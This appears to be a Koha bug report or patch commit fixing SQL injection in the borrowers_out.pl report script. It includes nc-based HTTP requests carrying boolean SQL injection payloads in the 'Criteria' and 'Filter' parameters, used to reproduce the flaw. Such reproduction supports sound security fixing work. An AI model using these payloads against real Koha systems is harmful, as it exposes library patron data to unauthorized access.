Bug 14426: Escape or use placeholders for sql parameters

Bug 14426: Escape or use placeholders for sql parameters

Does this patch enough to prevent sql injection in borrowers_out.pl?

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1. "Criteria" Parameter, Payload: ELT(1=1,'evil') / ELT(1=2,'evil')
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echo -ne "POST /cgi-bin/koha/reports/borrowers_out.pl
HTTP/1.1\r\nHost: testbox:9002\r\nContent-Length:
186\r\n\r\nFilter=P_COM&Filter=&Limit=&output=file&basename=Export&MIME=CSV&sep=%3B&report_name=&do_it=1&userid=<username>&password=<password>&branch=&koha_login_context=intranet&Criteria=ELT(1=2,'evil')"
| nc testbox 9002

echo -ne "POST /cgi-bin/koha/reports/borrowers_out.pl
HTTP/1.1\r\nHost: testbox:9002\r\nContent-Length:
186\r\n\r\nFilter=P_COM&Filter=&Limit=&output=file&basename=Export&MIME=CSV&sep=%3B&report_name=&do_it=1&userid=<username>&password=<password>&branch=&koha_login_context=intranet&Criteria=ELT(1=1,'evil')"
| nc testbox 9002

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2. "Filter" Parameter, Payload: P_COM'+AND+'a'='a / P_COM'+AND+'a'='b
====================================================================

echo -ne "POST /cgi-bin/koha/reports/borrowers_out.pl
HTTP/1.1\r\nHost: testbox:9002\r\nContent-Length:
183\r\n\r\nkoha_login_context=intranet&Limit=&Criteria=branchcode&output=file&basename=Export&MIME=CSV&sep=;&report_name=&do_it=1&userid=<userid>&password=<password>&branch=&Filter=P_COM'+AND+'a'='a"
| nc testbox 9002

echo -ne "POST /cgi-bin/koha/reports/borrowers_out.pl
HTTP/1.1\r\nHost: testbox:9002\r\nContent-Length:
183\r\n\r\nkoha_login_context=intranet&Limit=&Criteria=branchcode&output=file&basename=Export&MIME=CSV&sep=;&report_name=&do_it=1&userid=<userid>&password=<password>&branch=&Filter=P_COM'+AND+'a'='b"
| nc testbox 9002

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Signed-off-by: Chris Cormack <chrisc@catalyst.net.nz>
Signed-off-by: Katrin Fischer <katrin.fischer.83@web.de>
Signed-off-by: Tomas Cohen Arazi <tomascohen@theke.io>